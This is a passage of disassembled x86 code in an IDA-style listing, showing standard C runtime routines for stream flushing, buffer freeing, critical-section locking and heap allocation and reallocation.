		pop	ebp
		retn
sub_41F5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6A0	proc near		; CODE XREF: sub_418E10+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_41F6A6:				; CODE XREF: sub_41F6A0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F6CA
		push	offset dword_437504
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41F6CA
		int	3		; Trap to Debugger


loc_41F6CA:				; CODE XREF: sub_41F6A0+Aj
					; sub_41F6A0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41F6A6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_41F72D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_41F72D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_419980
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0


loc_41F72D:				; CODE XREF: sub_41F6A0+3Ej
					; sub_41F6A0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F6A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41F756
		push	0
		call	sub_41F8B0
		add	esp, 4
		jmp	short loc_41F780
; ---------------------------------------------------------------------------


loc_41F756:				; CODE XREF: .nsp0:0041F748j
		mov	eax, [ebp+8]
		push	eax
		call	sub_41ECE0
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41F790
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp-4]


loc_41F780:				; CODE XREF: .nsp0:0041F754j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F790	proc near		; CODE XREF: .nsp0:0041F766p
					; sub_41F8B0+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F7E0
		add	esp, 4
		test	eax, eax
		jz	short loc_41F7A8
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F7CF
; ---------------------------------------------------------------------------


loc_41F7A8:				; CODE XREF: sub_41F790+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_41F7CD
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_42BD10
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_41F7CF
; ---------------------------------------------------------------------------


loc_41F7CD:				; CODE XREF: sub_41F790+26j
		xor	eax, eax


loc_41F7CF:				; CODE XREF: sub_41F790+16j
					; sub_41F790+3Bj
		pop	ebp
		retn
sub_41F790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7E0	proc near		; CODE XREF: sub_418E10+53p
					; sub_41DD30+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_41F87B
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_41F87B
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_41F87B
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42BDF0
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_41F865
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41F863
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx


loc_41F863:				; CODE XREF: sub_41F7E0+72j
		jmp	short loc_41F87B
; ---------------------------------------------------------------------------


loc_41F865:				; CODE XREF: sub_41F7E0+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh


loc_41F87B:				; CODE XREF: sub_41F7E0+1Fj
					; sub_41F7E0+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F7E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8A0	proc near		; CODE XREF: sub_41ECC0+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_41F8B0
		add	esp, 4
		pop	ebp
		retn
sub_41F8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8B0	proc near		; CODE XREF: .nsp0:0041F74Cp
					; sub_41F8A0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_41F8E0
; ---------------------------------------------------------------------------


loc_41F8D7:				; CODE XREF: sub_41F8B0:loc_41F9CEj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_41F8E0:				; CODE XREF: sub_41F8B0+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, dword_4F0FA0
		jge	loc_41F9D3
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EFF88
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_41F9CE
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	loc_41F9CE
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EFF88
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41ED20
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41F9B5
		cmp	[ebp+arg_0], 1
		jnz	short loc_41F979
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_41F790
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F977
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41F977:				; CODE XREF: sub_41F8B0+BCj
		jmp	short loc_41F9B5
; ---------------------------------------------------------------------------


loc_41F979:				; CODE XREF: sub_41F8B0+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9B5
		mov	edx, [ebp+var_C]
		mov	eax, dword_4EFF88
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_41F9B5
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41F790
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F9B5
		mov	[ebp+var_8], 0FFFFFFFFh


loc_41F9B5:				; CODE XREF: sub_41F8B0+9Cj
					; sub_41F8B0:loc_41F977j ...
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41ED90
		add	esp, 8


loc_41F9CE:				; CODE XREF: sub_41F8B0+4Bj
					; sub_41F8B0+68j
		jmp	loc_41F8D7
; ---------------------------------------------------------------------------


loc_41F9D3:				; CODE XREF: sub_41F8B0+39j
		push	2
		call	sub_41FBE0
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_41F9E8
		mov	eax, [ebp+var_4]
		jmp	short loc_41F9EB
; ---------------------------------------------------------------------------


loc_41F9E8:				; CODE XREF: sub_41F8B0+131j
		mov	eax, [ebp+var_8]


loc_41F9EB:				; CODE XREF: sub_41F8B0+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F8B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, dword_4EF8F8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4EF8F8, ecx
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4EF8F8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA30	proc near		; CODE XREF: sub_418F40+48p
					; sub_41FC40+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EF8F8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41FA50
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_41FA54


loc_41FA50:				; CODE XREF: sub_41FA30+10j
		xor	eax, eax
		jmp	short loc_41FA59
; ---------------------------------------------------------------------------


loc_41FA54:				; CODE XREF: sub_41FA30+1Ej
		mov	eax, 1


loc_41FA59:				; CODE XREF: sub_41FA30+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_41FA30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA60	proc near		; CODE XREF: sub_423C10+4p
		push	ebp
		mov	ebp, esp
		mov	eax, off_451414
		push	eax
		call	dword_4F1470	; InitializeCriticalSection
		mov	ecx, off_451404
		push	ecx
		call	dword_4F1470	; InitializeCriticalSection
		mov	edx, off_4513F4
		push	edx
		call	dword_4F1470	; InitializeCriticalSection
		mov	eax, off_4513D4
		push	eax
		call	dword_4F1470	; InitializeCriticalSection
		pop	ebp
		retn
sub_41FA60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAA0	proc near		; CODE XREF: .nsp0:00423CA3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_41FAB6
; ---------------------------------------------------------------------------


loc_41FAAD:				; CODE XREF: sub_41FAA0:loc_41FB07j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41FAB6:				; CODE XREF: sub_41FAA0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_41FB09
		mov	ecx, [ebp+var_4]
		cmp	dword_4513D0[ecx*4], 0
		jz	short loc_41FB07
		cmp	[ebp+var_4], 11h
		jz	short loc_41FB07
		cmp	[ebp+var_4], 0Dh
		jz	short loc_41FB07
		cmp	[ebp+var_4], 9
		jz	short loc_41FB07
		cmp	[ebp+var_4], 1
		jz	short loc_41FB07
		mov	edx, [ebp+var_4]
		mov	eax, dword_4513D0[edx*4]
		push	eax
		call	dword_4F1398	; RtlDeleteCriticalSection
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4513D0[ecx*4]
		push	edx
		call	sub_419980
		add	esp, 8


loc_41FB07:				; CODE XREF: sub_41FAA0+27j
					; sub_41FAA0+2Dj ...
		jmp	short loc_41FAAD
; ---------------------------------------------------------------------------


loc_41FB09:				; CODE XREF: sub_41FAA0+1Aj
		mov	eax, off_4513F4
		push	eax
		call	dword_4F1398	; RtlDeleteCriticalSection
		mov	ecx, off_451404
		push	ecx
		call	dword_4F1398	; RtlDeleteCriticalSection
		mov	edx, off_451414
		push	edx
		call	dword_4F1398	; RtlDeleteCriticalSection
		mov	eax, off_4513D4
		push	eax
		call	dword_4F1398	; RtlDeleteCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_41FAA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB40	proc near		; CODE XREF: sub_418F40+6p
					; sub_419380+6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword_4513D0[eax*4], 0
		jnz	short loc_41FBC2
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41FB7A
		push	11h
		call	sub_41EB30
		add	esp, 4


loc_41FB7A:				; CODE XREF: sub_41FB40+2Ej
		push	11h
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword_4513D0[ecx*4], 0
		jnz	short loc_41FBAA
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F1470	; InitializeCriticalSection
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_4513D0[eax*4], ecx
		jmp	short loc_41FBB8
; ---------------------------------------------------------------------------


loc_41FBAA:				; CODE XREF: sub_41FB40+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_419980
		add	esp, 8


loc_41FBB8:				; CODE XREF: sub_41FB40+68j
		push	11h
		call	sub_41FBE0
		add	esp, 4


loc_41FBC2:				; CODE XREF: sub_41FB40+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4513D0[eax*4]
		push	ecx
		call	dword_4F1390	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_41FB40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBE0	proc near		; CODE XREF: sub_418F40+2Bp
					; sub_419380+31p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4513D0[eax*4]
		push	ecx
		call	dword_4F138C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_41FBE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		call	dword_4F1474	; FatalAppExitA
		push	0FFh
		call	dword_4F1320	; ExitProcess
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC20	proc near		; CODE XREF: sub_41FDD0+10p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, dword_4EF8F4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FC40
		add	esp, 8
		pop	ebp
		retn
sub_41FC20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC40	proc near		; CODE XREF: sub_41FC20+Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_41FC4E
		xor	eax, eax
		jmp	short loc_41FC93
; ---------------------------------------------------------------------------


loc_41FC4E:				; CODE XREF: sub_41FC40+8j
					; sub_41FC40:loc_41FC91j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41FC65
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41FCA0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_41FC6C
; ---------------------------------------------------------------------------


loc_41FC65:				; CODE XREF: sub_41FC40+12j
		mov	[ebp+var_4], 0


loc_41FC6C:				; CODE XREF: sub_41FC40+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_41FC78
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FC7D


loc_41FC78:				; CODE XREF: sub_41FC40+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_41FC93
; ---------------------------------------------------------------------------


loc_41FC7D:				; CODE XREF: sub_41FC40+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FA30
		add	esp, 4
		test	eax, eax
		jnz	short loc_41FC91
		xor	eax, eax
		jmp	short loc_41FC93
; ---------------------------------------------------------------------------


loc_41FC91:				; CODE XREF: sub_41FC40+4Bj
		jmp	short loc_41FC4E
; ---------------------------------------------------------------------------


loc_41FC93:				; CODE XREF: sub_41FC40+Cj
					; sub_41FC40+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCA0	proc near		; CODE XREF: sub_418FC0+19Dp
					; sub_41FC40+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_451498
		ja	short loc_41FCDD
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4208D0
		add	esp, 4
		mov	[ebp+var_4], eax
		push	9
		call	sub_41FBE0
		add	esp, 4
		cmp	[ebp+var_4], 0
		jz	short loc_41FCDD
		mov	eax, [ebp+var_4]
		jmp	short loc_41FD09
; ---------------------------------------------------------------------------


loc_41FCDD:				; CODE XREF: sub_41FCA0+Dj
					; sub_41FCA0+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FCEA
		mov	[ebp+arg_0], 1


loc_41FCEA:				; CODE XREF: sub_41FCA0+41j
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4EFF80
		push	ecx
		call	dword_4F1478	; RtlAllocateHeap


loc_41FD09:				; CODE XREF: sub_41FCA0+3Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_41FCA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD10	proc near		; CODE XREF: sub_418FC0+79p
					; sub_4193C0+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_41FD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD20	proc near		; CODE XREF: sub_4193C0+2D4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_41FD33
		xor	eax, eax
		jmp	loc_41FDC9
; ---------------------------------------------------------------------------


loc_41FD33:				; CODE XREF: sub_41FD20+Aj
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420240
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41FD91
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_451498
		ja	short loc_41FD82
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_421110
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FD82
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx


loc_41FD82:				; CODE XREF: sub_41FD20+42j
					; sub_41FD20+5Aj
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		jmp	short loc_41FDC9
; ---------------------------------------------------------------------------


loc_41FD91:				; CODE XREF: sub_41FD20+30j
		push	9
		call	sub_41FBE0
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FDA8
		mov	[ebp+arg_4], 1


loc_41FDA8:				; CODE XREF: sub_41FD20+7Fj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F147C	; RtlReAllocateHeap


loc_41FDC9:				; CODE XREF: sub_41FD20+Ej
					; sub_41FD20+6Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_41FD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD0	proc near		; CODE XREF: sub_4193C0+2AFp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FDED
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41FC20
		add	esp, 4
		jmp	loc_41FFB6
; ---------------------------------------------------------------------------


loc_41FDED:				; CODE XREF: sub_41FDD0+Aj
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FE06
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FFC0
		add	esp, 4
		xor	eax, eax
		jmp	loc_41FFB6
; ---------------------------------------------------------------------------


loc_41FE06:				; CODE XREF: sub_41FDD0+21j
					; sub_41FDD0:loc_41FFB1j
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_41FF89
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_420240
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	loc_41FF4C
		mov	eax, [ebp+arg_4]
		cmp	eax, dword_451498
		ja	short loc_41FEC0
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_421110
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FE65
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_41FEC0
; ---------------------------------------------------------------------------


loc_41FE65:				; CODE XREF: sub_41FDD0+8Bj
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_4208D0
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41FEC0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_41FE96
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_41FE9C
; ---------------------------------------------------------------------------


loc_41FE96:				; CODE XREF: sub_41FDD0+BCj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx


loc_41FE9C:				; CODE XREF: sub_41FDD0+C4j
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_420300
		add	esp, 8


loc_41FEC0:				; CODE XREF: sub_41FDD0+73j
					; sub_41FDD0+93j ...
		cmp	[ebp+var_8], 0
		jnz	short loc_41FF40
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FED3
		mov	[ebp+arg_4], 1


loc_41FED3:				; CODE XREF: sub_41FDD0+FAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1478	; RtlAllocateHeap
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41FF40
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41FF16
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_14], ecx
		jmp	short loc_41FF1C
; ---------------------------------------------------------------------------


loc_41FF16:				; CODE XREF: sub_41FDD0+13Cj
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_14], edx


loc_41FF1C:				; CODE XREF: sub_41FDD0+144j
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_420300
		add	esp, 8


loc_41FF40:				; CODE XREF: sub_41FDD0+F4j
					; sub_41FDD0+128j
		push	9
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_41FF89
; ---------------------------------------------------------------------------


loc_41FF4C:				; CODE XREF: sub_41FDD0+64j
		push	9
		call	sub_41FBE0
		add	esp, 4
		cmp	[ebp+arg_4], 0
		jnz	short loc_41FF63
		mov	[ebp+arg_4], 1


loc_41FF63:				; CODE XREF: sub_41FDD0+18Aj
		mov	edx, [ebp+arg_4]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4EFF80
		push	edx
		call	dword_4F147C	; RtlReAllocateHeap
		mov	[ebp+var_8], eax


loc_41FF89:				; CODE XREF: sub_41FDD0+41j
					; sub_41FDD0+17Aj
		cmp	[ebp+var_8], 0
		jnz	short loc_41FF98
		cmp	dword_4EF8F4, 0
		jnz	short loc_41FF9D


loc_41FF98:				; CODE XREF: sub_41FDD0+1BDj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FFB6
; ---------------------------------------------------------------------------


loc_41FF9D:				; CODE XREF: sub_41FDD0+1C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41FA30
		add	esp, 4
		test	eax, eax
		jnz	short loc_41FFB1
		xor	eax, eax
		jmp	short loc_41FFB6
; ---------------------------------------------------------------------------


loc_41FFB1:				; CODE XREF: sub_41FDD0+1DBj
		jmp	loc_41FE06
; ---------------------------------------------------------------------------


loc_41FFB6:				; CODE XREF: sub_41FDD0+18j
					; sub_41FDD0+31j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFC0	proc near		; CODE XREF: sub_4199B0+26Ep
					; sub_4199B0+3B2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FFCC
		jmp	short loc_420024
; ---------------------------------------------------------------------------


loc_41FFCC:				; CODE XREF: sub_41FFC0+8j
		push	9
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420240
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_420007
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_420300
		add	esp, 8
		push	9
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_420024
; ---------------------------------------------------------------------------

